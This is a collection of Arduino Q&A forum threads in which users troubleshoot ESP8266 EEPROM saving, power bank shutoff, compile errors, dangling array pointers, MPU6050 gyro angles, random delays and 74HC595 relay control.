    root["B"] = (uint8_t)B;
    root["L"] = (uint8_t)L;
    root["A"] = (uint8_t)customVars.A;

    if (debuggin) {
      Serial.print("New JSON:");
      Serial.print(" R: ");
      Serial.print((uint8_t)root["R"]);
      Serial.print(" G: ");
      Serial.print((uint8_t)root["G"]);
      Serial.print(" B: ");
      Serial.print((uint8_t)root["B"]);
      Serial.print(" L: ");
      Serial.print((uint8_t)root["L"]);
      Serial.print(" A: ");
      Serial.println((uint8_t)root["A"]);
    }

    EEPROM.put(addr, root);
  }

  if (saveA) {
    //Get R,G,B,L values so that we can save it the same value
    DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
    JsonObject& root = jsonBuffer.createObject();

    if (debuggin) {
      Serial.print("Old JSON:");
      Serial.print(" R: ");
      Serial.print((uint8_t)customVars.R);
      Serial.print(" G: ");
      Serial.print((uint8_t)customVars.G);
      Serial.print(" B: ");
      Serial.print((uint8_t)customVars.B);
      Serial.print(" L: ");
      Serial.print((uint8_t)customVars.L);
      Serial.print(" A: ");
      Serial.println((uint8_t)customVars.A);
    }

    root["R"] = (uint8_t)customVars.R;
    root["G"] = (uint8_t)customVars.G;
    root["B"] = (uint8_t)customVars.B;
    root["L"] = (uint8_t)customVars.L;
    root["A"] = (uint8_t)A;

    if (debuggin) {
      Serial.print("New JSON:");
      Serial.print(" R: ");
      Serial.print((uint8_t)root["R"]);
      Serial.print(" G: ");
      Serial.print((uint8_t)root["G"]);
      Serial.print(" B: ");
      Serial.print((uint8_t)root["B"]);
      Serial.print(" L: ");
      Serial.print((uint8_t)root["L"]);
      Serial.print(" A: ");
      Serial.println((uint8_t)root["A"]);
    }

    EEPROM.put(addr, root);
  }
}

void loop() {
}

And this is the output of that code:
START readSavedSettings
'A' found! 96
LED 0 set to: R: 48, G: 255, B: 255
LED 1 set to: R: 48, G: 255, B: 255
LED 2 set to: R: 48, G: 255, B: 255
Turned off RGB LEDS
END readSavedSettings
Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

Now when I reset it this is the output:
⸮dOX⸮,R⸮X⸮4xC⸮⸮⸮START readSavedSettings
'A' found! 96
LED 0 set to: R: 48, G: 255, B: 255
LED 1 set to: R: 48, G: 255, B: 255
LED 2 set to: R: 48, G: 255, B: 255
Turned off RGB LEDS
END readSavedSettings
Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

How come the Old JSON has the 'L' value as 63 again when it should be the New JSON value of 200? Why did it not save it but saved all the others? Also, Why is 'R' 48 when it should be 255 like G and B?
Is there something wrong in my code?
Update 1
This is the output after adding .end() to it:
START readSavedSettings
'A' found! 160
LED 0 set to: R: 48, G: 255, B: 255
LED 1 set to: R: 48, G: 255, B: 255
LED 2 set to: R: 48, G: 255, B: 255
Turned off RGB LEDS
END readSavedSettings
Old JSON: R: 48   G: 255  B: 255  L: 63 A: 160
New JSON: R: 255  G: 255  B: 255  L: 200 A: 160
Old JSON: R: 128  G: 12   B: 17   L: 17 A: 60
New JSON: R: 128  G: 12   B: 17   L: 17 A: 35

and the code i use:
void setup() {
  // initialize serial and wait for port to open:
  Serial.begin(9600);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for Leonardo only
  }

  EEPROM.begin(512);
  readSavedSettings();
  updateEEProm(255,255,255,200,35,true,false); //Save all but 'A' value
  EEPROM.end();
  updateEEProm(255,255,255,200,35,false,true); //Save just 'A' value
  EEPROM.end();
}

you should try SPIFFS instead of EEPROM: ez file interface, 1-3MB of space, no slicing or delimiters needed....

@dandavis, true. the emulation library has one small advantage. it is not erased when you upload SPIFFS image

Why do you put the Json root to EEPROM at he end of updateEEProm?

@Juraj do you mean in the .put() part?

you read the RGBLA struct but you write the json to EEPROM. which is not suitable for EEPROM

@Juraj using .put() makes it compatible with strings which the JSON is in.

you write to EEPROM root and not customVars. but you read customVars and not json

@Juraj customVars are gathering whats currently in the EEProm. I then save the passed R,G,B,L values and put it into the root struct and save that as the new data for the EEProm.

root is not struct. it is a class to handle json. it can't be saved to EEPROM. and  if could, it could not be read into RGBLA

The esp8266 EEPROM emulation library requires a commit() call to save the memory image of EEPROM to flash.
Add EEPROM.commit(); or EEPROM.end(); as last line in your updateEEProm() function. Documentation link:
Second problem is that you don't write the RGBLA struct to EEPROM, instead you try to write the variable root, which is an instance of class JsonObject. Class types can't be put into EEPROM.

So this works even when using .put()?

of course. all emulating functions work with the RAM image of the emulated EEPROM. commit() or end() writes the image to flash. begin() reads the image from flash to RAM.

Hum, even doing updateEEProm(255,255,255,200,35,true,false); EEPROM.commit(); updateEEProm(255,255,255,200,35,false,true); EEPROM.commit(); still does not seem to save it?


text:
Arduino not working on cell phone power bank
I'm trying to power my Arduino Uno using a basic power bank (5V/2.1A Output), the Uno lights up for around 20 secs. and then stops taking power from the bank. What can be the issue? Am I making a huge mistake here?
Further details:
1. The power bank has a LED that lights up during the charging process, it doesn't light up when I connect jt to Arduino though (but powers the Arduino for a short span, after which the Arduino goes off)
2. The power bank is 10,000 mAh, 5V/2.1 Amps, charges my cell phone normally.
Edit: As requested, adding a photo of the whole setup.

Please tell more. Add the extra information to you question. Can you make a photo? How did you connect it? When you power the arduino uno with a usb plug that has 5v, then it should work. Perhaps the powerbank is the problem?

@Jot Added the details as requested. Also, the Arduino is working fine when connected to a cell phone charger.

Maybe the power drawn is too few, and the powerbank is shutting down. Try adding some load to the arduino (e.g. a 100-150 ohm resistor between +5V and GND)

@frarugi87 Yeah, I suspect this too. I'll try your solution and update here.

@Kv07 just keep in mind that 100 ohm at 5V is 250mW, so a 1/4W of resistor is very borderline. If you have 1/4W resistors, maybe it is better to put two in parallel (for instance two 150 ohm in parallel will draw 65 mA, with a power rating of 150mW each)

@frarugi87 No worries, I have a 1KOhm resistor.

@Kv07 1k resistor will cause a 5mA load; try putting them in parallel, but I think you'll need at least 10-20 in parallel to have a "good" load. In any case, adding and subtracting 1k resistors you can find the value of current  you need to keep the power bank "up and running", if this is the problem

1kΩ does not draw enough current. Do you have a 5v relay (use the coil as a load). Powerbank: http://ambraneindia.com/product/p-1122 I read a number of reviews that say that it turns off when the phone is charged, and a apple watch can not be charged with it, because a apple watch draws not enough current. I can not find the specifications for the minimal charge current.

@Jot my apologies for not giving the spec sheet in the question itself. I think the minimal charge current is too high for the power bank.

@frarugi87 I only have 5 units of 1KOhm resistors and some basic sensors like Ultrasonic/DHT11/LM35 etc. Can we work out a makeshift arrangement?

Some power banks can be forced to keep on, by only consuming more current for short pulses. See https://arduino.stackexchange.com/questions/55193/keep-battery-pack-awake-and-run-motor-every-6-hrs . This would keep the powerbank on, but not use as much power, leading to a longer runtime.

@Gerben The power supply shuts off after 2 good hours of supply in the other question, in my case, the power bank hardly supplies for 20secs. However, to my understanding, a current drawn less than the minimum operational current should shut the power bank in a short while, as in my case. I don't know what's going on in the other question though.

hi again
5x1k = 25mA, which is roughly the same current the arduino absorbs, so I think you do not have enough current pulled out of the powerbank.
Maybe you can attach a USB port hub and recharge your mobile while powering the arduino... If this works then it was this problem, and we can try figuring out what is the best solution to keep it alive without mobile (e.g. modifying it, or using Gerben's solution to use short pulses to increase the average current...)

Voila! Attaching another power absorber (my cell phone in this case) caused the power bank to supply current continuously to both the Uno and the Cell phone. Infact, I took output of the power bank and plugged it back into the input of the powerbank, even that worked! Thanks for your help. If you could write this as an answer, I'll mark it as the accepted answer. Cheers!


text:
compilation terminated. exit status 1 error compiling for board arduino/genuino uno
hi i have done this code for my uno R3 and i cant upload it
any suggestions
#include"DHT.h"
#define DHTPIN 8
#define DHTTYPE DHT11
DHT dht( DHTPIN,DHTTYPE);
const int ledPin=13
int piesoPin=9
void setup(){
  serial.begin(9600);
  pinMode(ledPin,OUTPUT);
  pinMode(piezoPin,OUTPUT);
  delay(5000);
}
void loop(){
  int t=dht.readTemperature();
  int h=dht.readHumidity();
  Serial.print(t);
  if(t>26){
    digitalWrite(ledPin,HIGH);
    digitalWrite(piezopin,HIGH);
    {TONE(9,3047,400);
    delay(1000);
    noTone(8);
    delay(100);
    }
    delay(1000);
    Serial.print("ON T=");
  }
  else(digitalWrite(piezoPin,LOW);
  digitalWrite(LEDpIN,LOW);
  Serial.print("OFF,T=");
  }}

Michel Keijzers gave the answer, but I noticed a few others things. The dht.readTemperature returns a float, you convert it to an integer. The adafruit dht library makes a shortcut in the signal: https://github.com/adafruit/DHT-sensor-library/issues/48

I am pretty sure the compile told you more than that.

Two errors I see is a typo and missing semicolons.
const int ledPin=13
int piesoPin=9

Should be
const int ledPin=13;
int piezoPin=9;

Also I see a unnecessary { and } but this cannot cause a compilation error.
Check the delays, when the temperature is higher than 26 degrees you have more delay than when not, maybe this is intended, maybe not.
However, you probably typed over the code, so maybe there are more errors, please add the exact error text and line in your question.


text:
Arduino uno, VIN and 12 volts
I have an arduino Uno with a motor shield attached I would like to drive 2 12 volt dc motors. Can I just attach a 12 volt power supply to the arduino Uno?
I ask because if I can attach a 12 volt power supply to the uno, I would like to also try and drive some leds from the Uno as well. I remember that the VIN jumper needs to be connected if connecting a power supply through the Arduino uno. There is also a pin labeled VIN.
If I can connect a 12 volt power supply to the arduino uno, can I power the leds from the vin pin.

Possibly. It depends exactly what it is you want to drive.
When you connect 12V to the barrel jack you get about 11.3V out of the VIN pin. This is because there is a diode in series with the barrel jack to protect against reverse polarity connections. This loses some voltage (could be as much as 0.7V).
Also that diode is rated at 1A maximum. So you can't drive anything that would need more than 1A (including the current needed by the Arduino and shield components).

Thanks for the info. As mentioned I plan to drive an oled strip and it requires at least 10V.

It's all a question of the current. You need to total up the currents of everything - motors included - and make sure it stays below 1A.

That depends on the motor shield - for some motor shields you have to cut a circuit path (or unset a jumper) to separate the power for the motors from arduino's power!


text:
passing arrays via function returns wrong values
I am trying to use the values of an array in some other function, but when I return via a function the contents is wrong.
This is the external function file I'm trying to use
#include "Arrayreturner.h"

Arrayreturner::Arrayreturner() { }

void Arrayreturner::setResults(int* res, int size) {
 int temp[size];

 for(int i=0;i<size;i++) {
  temp[i] = res[i];
 }

 results = temp;

}

int* Arrayreturner::getResults() {
  return results;
}

This is the header file
#ifndef ARRAYRETURNER_H
#define ARRAYRETURNER_H

#include <Arduino.h>
#include <Wire.h>

class Arrayreturner {
public: // some public definitions first

 Arrayreturner();

void setResults(int* res, int size);
int* getResults();
int* results;

};

#endif

And here is the main program
#include <Arduino.h>
#include "Arrayreturner.h"

Arrayreturner data;

void setup() {
 Serial.begin(9600);

}

int* returnArray(int arr[]) {
 // int arr[] = { 3, 5, 6, 7, 9 };
 int *p = arr;

 // Serial.print("rA: ");
 // for(int i=0;i<5;i++) {
 //   Serial.print(p[i]); Serial.print(" ");
 // } Serial.println("");
 return p;
}

Arrayreturner testfunc() {
 Arrayreturner data;
 int arr[] = { 2,4,6,8,10};

 data.setResults(arr, 5);

 return data;
}

void loop() {

  int arr[] = { 3, 5, 6, 7, 9 };
  // int *p = arr;
  // int (*ptr)[5] = &arr;

 // Serial.print("p: ");
 // for(int i=0;i<5;i++) {
 //   Serial.print(p[i]); Serial.print(" ");
 // } Serial.println("");

 // int* p1;
 // p1 = returnArray(arr);
 // Serial.print("p1: ");
 // for(int i=0;i<5;i++) {
 //   Serial.print(p1[i]); Serial.print(" ");
 // } Serial.println("");

 // data.setResults(arr, 5);

 // int* res = data.getResults();
 //
 // Serial.print("res: ");
 // for(int i=0;i<5;i++) {
 //   Serial.print(res[i]); Serial.print(" ");
 // } Serial.println(" ");

 Arrayreturner ar = testfunc();
 int* res = ar.getResults();
 Serial.print("res: ");
 for(int i=0;i<5;i++) {
   Serial.print(res[i]); Serial.print(" ");
 } Serial.println(" ");

 Serial.println("--------------");

  delay(2000);

}
There is probably something wrong with the pointer declaration, but I cant figure it out.
Thanks for the help

This is a C language question. You copy a local array created on the stack of the testfunc() to other array created on the stack of Arrayreturner::setResults(). Then you store a pointer of the second array into  member variable results. But that pointer is not valid when the function setResults() returns and the array on the stack is destroyed.
Normal way is to create an array, pass it as parameter to the function and let the function fill it.

I added my own variable (Arrayreturner) before calling the "testfunc" and passed it through the called functions. The array and the other variables of the Arrayreturner now show the correct values. Thanks

Your arrays are declared locally to the functions. You cannot return local arrays from a function - as soon as you return the arrays no longer exist.


text:
Arduino Mega and gyroscope erroneous values
I have Arduino mega2560 and MPU6050.
I connected to Vcc pin of the gyro to +5V on the mega, the SDA to SDA pin, SDL to SDL pin, AD0 and GND to 2 GND pins.
I used this code:
#include<Wire.h>

const int MPU=0x68; //I2C address of MPU
int GyX,GyY,GyZ;
float pitch=0;
float roll=0;
float yaw=0;

float v_pitch;
float v_roll;
float v_yaw;
float a_pitch;
float a_roll;
float a_yaw;

void setup(){
  Wire.begin();
  Wire.beginTransmission(MPU);
  Wire.write(0x6B); //power management register 1
  Wire.write(0);
  Wire.endTransmission(true);
  Serial.begin(9600);
}

void loop() {
  Wire.beginTransmission(MPU);
  Wire.write(0x43);
  Wire.endTransmission(false);
  Wire.requestFrom(MPU,6,true);
  GyX=Wire.read()<<8|Wire.read();
  GyY=Wire.read()<<8|Wire.read();
  GyZ=Wire.read()<<8|Wire.read();
  v_pitch=(GyX/131);
  if(v_pitch==-1) {
    v_pitch=0;
  }
  v_roll=(GyY/131);
  if(v_roll==1) {
    v_roll=0;
  }
  v_yaw=GyZ/131;
  a_pitch=(v_pitch*0.046);
  a_roll=(v_roll*0.046);
  a_yaw=(v_yaw*0.045);
  pitch= pitch + a_pitch; roll= roll + a_roll;
  yaw= yaw + a_yaw;
  Serial.print(" | pitch = ");
  Serial.print(pitch);
  Serial.print(" | roll = ");
  Serial.print(roll);
  Serial.print(" | yaw = ");
  Serial.println(yaw);
}

But the values I am reading are not angles at all, plus when I move the X axes for 45 degrees, the value is not like that at all.

I don't want to use the pre made library as I want to understand how to read from Gyroscope. Any ideas?

What is the 0.046? The mpu6050 uses 3.3v.

I dont know why its used by author. He said that eaxh 46ms the loop is reading a value.

@Jot no It is better to use 5v for more accurate results as I read on arduino forums.

Thanks for the explanation about the 46ms of the loop. The loop time can be measured with millis. The 5v depends on the sensor module that you have. Which arduino forums told you to destroy the sensor with 5v? Please add all the extra information to your question.

Please refer to this link https://www.addicore.com/GY-521-MPU6050-p/170.htm where it says the power supply is from 4.3 to 9V.

@jot and this site http://www.brokking.net/ymfc-32_main.html where the author used 5V from uno to mpu6050

Maybe you should stay away from bad websites. The arduino uno is not the same as the arduino mega. The mega has extra 10k pullup resistors for sda and scl. Use a module with level shifters or add a level shifter module for sda and scl. That might not be the solution to your problem, but at least it stops damaging the sensor via the i2c bus.

how to do it @Jot ?

@Jot I tried it with 3.3V and still not getting the correct values.

It is possible to use your sketch and get angle information. It is not very accurate and it drifts.
I started with your sketch, and improved it until I had the angle.
The Serial.println functions take time and they are printed too often. To measure the interval between the samples, I used millis.
This test is done with:

arduino M0 board (with 3.3v i2c bus)
gy-521 module with onboard voltage regulator, but no level shifter
vcc of the gy-521 module connected to 5v (because of the voltage regulator)

The arduino M0 is faster than the arduino mega or uno.
// test with arduino M0 board
#include <Wire.h>

#define SER SerialUSB    // 'Serial' for arduino Uno, 'SerialUSB' for Leonardo and Arduino M0

const int MPU = 0x68;   // I2C address of MPU

int16_t x_offset = 0;
int16_t y_offset = 0;
int16_t z_offset = 0;

float pitch = 0.0;
float roll  = 0.0;
float yaw   = 0.0;

unsigned long previousMillisSample;
unsigned long previousMillisOutput;
const unsigned long intervalOutput = 500;  // half a second update to serial monitor

void setup() {
  SER.begin(9600);
  while(!SER);         // wait for serial monitor to open for Leonardo and M0
  SER.println("Angle from gyro");

  Wire.begin();

  Wire.beginTransmission(MPU);
  Wire.write(0x6B); //power management register 1
  Wire.write(0);
  Wire.endTransmission();

  // get the values of the gyro and use them as offset
  GetXYZ(x_offset, y_offset, z_offset);
}

void loop() {

  int16_t GyX;
  int16_t GyY;
  int16_t GyZ;

  GetXYZ(GyX, GyY, GyZ);

  unsigned long currentMillisSample = millis();  // time in millis when this sample is taken

  // remove offset
  GyX -= x_offset;
  GyY -= y_offset;
  GyZ -= z_offset;

  float v_pitch = float(GyX) / 131.0;    // convert to float and calculate degrees
  float v_roll  = float(GyY) / 131.0;
  float v_yaw   = float(GyZ) / 131.0;

  // calculate time in milliseconds between previous and current sample
  unsigned long t = currentMillisSample - previousMillisSample;

  // time in seconds as a float
  float float_t = float(t) / 1000.0;

  // adjust the number of degrees during the time
  float a_pitch = v_pitch * float_t;
  float a_roll  = v_roll  * float_t;
  float a_yaw   = v_yaw   * float_t;

  // remember the time in millis when the sample was taken for the next time
  previousMillisSample = currentMillisSample;

  pitch += a_pitch;
  roll  += a_roll;
  yaw   += a_yaw;

  // Once in a while, print the output
  if(millis() - previousMillisOutput >= intervalOutput) {
    previousMillisOutput = millis();

    SER.print("pitch = ");
    SER.print(pitch);
    SER.print(" | roll = ");
    SER.print(roll);
    SER.print(" | yaw = ");
    SER.println(yaw);
  }
}

void GetXYZ( int16_t &x, int16_t &y, int16_t &z) {
  // Get the gyro values
  Wire.beginTransmission(MPU);
  Wire.write(0x43);     // first register of gyro values
  Wire.endTransmission(false);

  Wire.requestFrom(MPU,6);
  x = Wire.read() << 8 | Wire.read();
  y = Wire.read() << 8 | Wire.read();
  z = Wire.read() << 8 | Wire.read();
}

Can you try this sketch? It drifts between 10 and 60 degrees per 5 minutes. That is a lot. I think the sensor is better than that, so that means the sketch is far from perfect.

Once I get home (in 2 hours) I will try it. Your sketch drift 60degrees per 5min or mine ?

The changes I made was only to make it work (remove offset; less println; measure time between samples with millis; do float calculations with float variables). My sketch drifts up to 60 degrees per 5 minutes with a faster arduino m0 board.It drifts a lot more when I wildly move the sensor. For the arduino uno or mega, you have to change the define to: #define SER Serial

Can we reduce the drifts ? It would make the drone unstable even with correct PID values

@droidnation , this was only for fun and to learn about arduino. Now it is time to buy a mpu-9250 and use the ahrs filter: https://learn.sparkfun.com/tutorials/mpu-9250-hookup-guide For a drone you need sensor fusion, that is a filter that combines the accelerometer and the gyro and a magnetometer. The kalman filter was used previously but today the ahrs is used.

so using MPU9250 would reduce the drifts right ?

@droidnation Maybe a little. The MPU9250 has less noise and a magnetometer. Less noise makes the results of the ahrs filter a lot better.


text:
How to randomize the delay in Arduino Stepper code?
How does one add a random DELAY between 10 and 20 seconds?
For example in the following stepper logic I have a delay of 11 seconds - expressed in milliseconds as: delay(11000).
What would I need to add (or modify) so this is randomized between 10 and 20 seconds?
//#define IN1  8
//#define IN2  9
//#define IN3  10
//#define IN4  11

int Steps = 0;
boolean Direction = true;
unsigned long last_time;
unsigned long currentMillis ;
int steps_left=4095;
long time;

void setup()
{
Serial.begin(115200);
pinMode(IN1, OUTPUT);
pinMode(IN2, OUTPUT);
pinMode(IN3, OUTPUT);
pinMode(IN4, OUTPUT);

}
void loop()
{
  while(steps_left>0){
  currentMillis = micros();
  if(currentMillis-last_time>=1000){
  stepper(1);
  time=time+micros()-last_time;
  last_time=micros();
  steps_left--;
  }
  }
   Serial.println(time);
  Serial.println("Wait...!");
  delay(11000);                     // delay timing
  Direction=!Direction;
  steps_left=4095;
}

Forgive the appearance of the code.  Everytime I post it gets butchered.  Hopefully it's understandable.

https://www.arduino.cc/reference/en/language/functions/random-numbers/random/

In setup(), add
randomSeed(analogRead(0));

This reads the value of an analog input pin, which if not connected, will float to relatively random values between 0 and 1023. This "seeds" the random number generator so the pattern of random numbers you will get later doesn't always give the same results each time you start the sketch.
In your delay() call, just replace the fixed value with a call to the random(min, max) function, as:
delay(random(10000, 20000));

But during debug, consider using a constant seed so you can make repeatable results or inspect the result of a single change.

Hey thanks so much you guys.  Much appreciated.  I'm learning as I go and this is a big help!


text:
shift register 74HC595 enable specific pin
Its driving me crazy for some couple of days now and i don't get the answer.
I'm busy to setup a irrigation system with a shift register 74HC595 and a 8 channel relay board.
I see a lot of sketches where it looks like you can turn a specific relay on but i dont get the clue.
I like to turn on a specific relay based on a button press.
Is it possible to turn on a specific relay based on the representing button?
Im using the shiftOut option. The code im using now is :
//#define BLYNK_DEBUG
#define BLYNK_PRINT Serial

#include <ArduinoOTA.h>
#include <ESP8266WiFi.h>
#include <BlynkSimpleEsp8266.h>
#include <TimeLib.h>
#include <WidgetRTC.h>

#include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
#include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
#include <SPI.h>            // For SPI comm (needed for not getting compile error)

#include "settings_base.h"
#include "globals.h"
//#include "functions.h"
//#include "blynk_writes.h"

//Pin connected to ST_CP of 74HC595
const int latchPin = 15; //D8
//Pin connected to SH_CP of 74HC595
const int clockPin = 14; //D5
//Pin connected to DS of 74HC595
const int dataPin = 13; // D7

int totalRelays = 2; // Number of relays
int relayState = 0; // default state = off
int relayArr[] = {12, 16}; // Pins on the Wemos
char vbutton1 = V1; char vbutton2 = V2;
char relayVButtons[] = {V1,V2};
int zone = 0;
int relayVButton = 0;
byte data;
byte dataArray[10];

/*
   SETUP
*/
  BLYNK_WRITE(V1)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 12, 49); // Test led on Wemos pin
    //int bitToSet = 49;

    Serial.println("V1 pressed");
  }

  BLYNK_WRITE(V2)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 16, 50); // Test led on Wemos pin
    Serial.println("V2 pressed");
  }

void setup() {

  pinMode(dataPin, OUTPUT);   // All 3 pins are output
  pinMode(clockPin, OUTPUT);
  pinMode(latchPin, OUTPUT);

  // Do some loop through all the relays and buttons for pinMode
  for (int i=0; i<=totalRelays; i++){
    pinMode(relayArr[i], OUTPUT);
    digitalWrite(relayArr[i], 0);
    pinMode(relayVButtons[i], INPUT);
  }

  // COMMUNICATIONS
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  // CONNECT TO BLYNK
  Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
  while (Blynk.connect() == false) {}
  // OVER THE AIR UPDATES
  ArduinoOTA.setHostname(OTA_HOSTNAME);
  ArduinoOTA.begin();

  Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
}
/*
   LOOP
*/
void loop() {
  Blynk.run();
  ArduinoOTA.handle();
  timer.run();
}

void relayControl(int onoff, int relayNumber, int bitToSet){
if(onoff == 1) // Virtual button set to on
    {
      digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet, HIGH);
      relayState = 1;
    }
    else
    {
      digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet, LOW);
      relayState = 0;
    }
}
void registerWrite(int whichPin, int whichState) {
// the bits you want to send
  byte bitsToSend = 0;

  // turn off the output so the pins don't light up
  // while you're shifting bits:
  digitalWrite(latchPin, LOW);

  // turn on the next highest bit in bitsToSend:
  bitWrite(bitsToSend, whichPin, whichState);

  // shift the bits out:
  shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);

    // turn on the output so the LEDs can light up:
  digitalWrite(latchPin, HIGH);

}

Sander

i've change the code. Now the result is the led is turning on but only one led. After pressing led 2 the other one is turning on..
Im not able to turn them off.
//#define BLYNK_DEBUG
#define BLYNK_PRINT Serial

#include <ArduinoOTA.h>
#include <ESP8266WiFi.h>
#include <BlynkSimpleEsp8266.h>
#include <TimeLib.h>
#include <WidgetRTC.h>

#include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
#include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
#include <SPI.h>            // For SPI comm (needed for not getting compile error)

#include "settings_base.h"
#include "globals.h"
//#include "functions.h"
//#include "blynk_writes.h"

//Pin connected to ST_CP of 74HC595
const int latchPin = 15; //D8
//Pin connected to SH_CP of 74HC595
const int clockPin = 14; //D5
//Pin connected to DS of 74HC595
const int dataPin = 13; // D7

int totalRelays = 2; // Number of relays
int relayState = 0; // default state = off
int relayArr[] = {12, 16}; // Pins on the Wemos
char vbutton1 = V1; char vbutton2 = V2;
char relayVButtons[] = {V1,V2};
int zone = 0;
int relayVButton = 0;

/*
   SETUP
*/
  BLYNK_WRITE(V1)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 12, 1); // Test led on Wemos pin
    //int bitToSet = 49;

    Serial.println("V1 pressed");
  }

  BLYNK_WRITE(V2)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 16, 4); // Test led on Wemos pin
    Serial.println("V2 pressed");
  }

void setup() {

  pinMode(dataPin, OUTPUT);   // All 3 pins are output
  pinMode(clockPin, OUTPUT);
  pinMode(latchPin, OUTPUT);

  // Do some loop through all the relays and buttons for pinMode
  for (int i=0; i<=totalRelays; i++){
    pinMode(relayArr[i], OUTPUT);
    digitalWrite(relayArr[i], 0);
    pinMode(relayVButtons[i], INPUT);
  }

  // COMMUNICATIONS
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  // CONNECT TO BLYNK
  Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
  while (Blynk.connect() == false) {}
  // OVER THE AIR UPDATES
  ArduinoOTA.setHostname(OTA_HOSTNAME);
  ArduinoOTA.begin();

  Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
}
/*
   LOOP
*/
void loop() {
  Blynk.run();
  ArduinoOTA.handle();
  timer.run();
}

void relayControl(int onoff, int relayNumber, int bitToSet){
if(onoff == 1) // Virtual button set to on
    {
      digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet);
      Serial.println(bitToSet);
      relayState = 1;
    }
    else
    {
      digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet);
      relayState = 0;
    }
}
void registerWrite(int whichPin) {
// the bits you want to send
   uint8_t data = 1<<whichPin ;
  // turn off the output so the pins don't light up
  // while you're shifting bits:
  digitalWrite(latchPin, LOW);

  // shift the bits out:
  shiftOut(dataPin, clockPin, MSBFIRST, data);

    // turn on the output so the LEDs can light up:
  digitalWrite(latchPin, HIGH);

}

Im using the shiftOut option.
The code im using now is :
//#define BLYNK_DEBUG
#define BLYNK_PRINT Serial

#include <ArduinoOTA.h>
#include <ESP8266WiFi.h>
#include <BlynkSimpleEsp8266.h>
#include <TimeLib.h>
#include <WidgetRTC.h>

#include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
#include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
#include <SPI.h>            // For SPI comm (needed for not getting compile error)

#include "settings_base.h"
#include "globals.h"
//#include "functions.h"
//#include "blynk_writes.h"

//Pin connected to ST_CP of 74HC595
const int latchPin = 15; //D8
//Pin connected to SH_CP of 74HC595
const int clockPin = 14; //D5
//Pin connected to DS of 74HC595
const int dataPin = 13; // D7

int totalRelays = 2; // Number of relays
int relayState = 0; // default state = off
int relayArr[] = {12, 16}; // Pins on the Wemos
char vbutton1 = V1; char vbutton2 = V2;
char relayVButtons[] = {V1,V2};
int zone = 0;
int relayVButton = 0;
byte data;
byte dataArray[10];

/*
   SETUP
*/
  BLYNK_WRITE(V1)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 12, 49); // Test led on Wemos pin
    //int bitToSet = 49;

    Serial.println("V1 pressed");
  }

  BLYNK_WRITE(V2)
  {
    // Get the state of the VButton
    relayVButton = param.asInt();
    relayControl(relayVButton, 16, 50); // Test led on Wemos pin
    Serial.println("V2 pressed");
  }

void setup() {

  pinMode(dataPin, OUTPUT);   // All 3 pins are output
  pinMode(clockPin, OUTPUT);
  pinMode(latchPin, OUTPUT);

  // Do some loop through all the relays and buttons for pinMode
  for (int i=0; i<=totalRelays; i++){
    pinMode(relayArr[i], OUTPUT);
    digitalWrite(relayArr[i], 0);
    pinMode(relayVButtons[i], INPUT);
  }

  // COMMUNICATIONS
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  // CONNECT TO BLYNK
  Blynk.begin(AUTH, WIFI_SSID, WIFI_PASS);
  while (Blynk.connect() == false) {}
  // OVER THE AIR UPDATES
  ArduinoOTA.setHostname(OTA_HOSTNAME);
  ArduinoOTA.begin();

  Serial.println(F("Blynk v" BLYNK_VERSION ": Device started"));
}
/*
   LOOP
*/
void loop() {
  Blynk.run();
  ArduinoOTA.handle();
  timer.run();
}

void relayControl(int onoff, int relayNumber, int bitToSet){
if(onoff == 1) // Virtual button set to on
    {
      digitalWrite(relayNumber, HIGH); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet, HIGH);
      relayState = 1;
    }
    else
    {
      digitalWrite(relayNumber, LOW); // set Wemos pin on HIGH (for test)
      registerWrite(bitToSet, LOW);
      relayState = 0;
    }
}
void registerWrite(int whichPin, int whichState) {
// the bits you want to send
  byte bitsToSend = 0;

  // turn off the output so the pins don't light up
  // while you're shifting bits:
  digitalWrite(latchPin, LOW);

  // turn on the next highest bit in bitsToSend:
  bitWrite(bitsToSend, whichPin, whichState);

  // shift the bits out:
  shiftOut(dataPin, clockPin, MSBFIRST, bitsToSend);

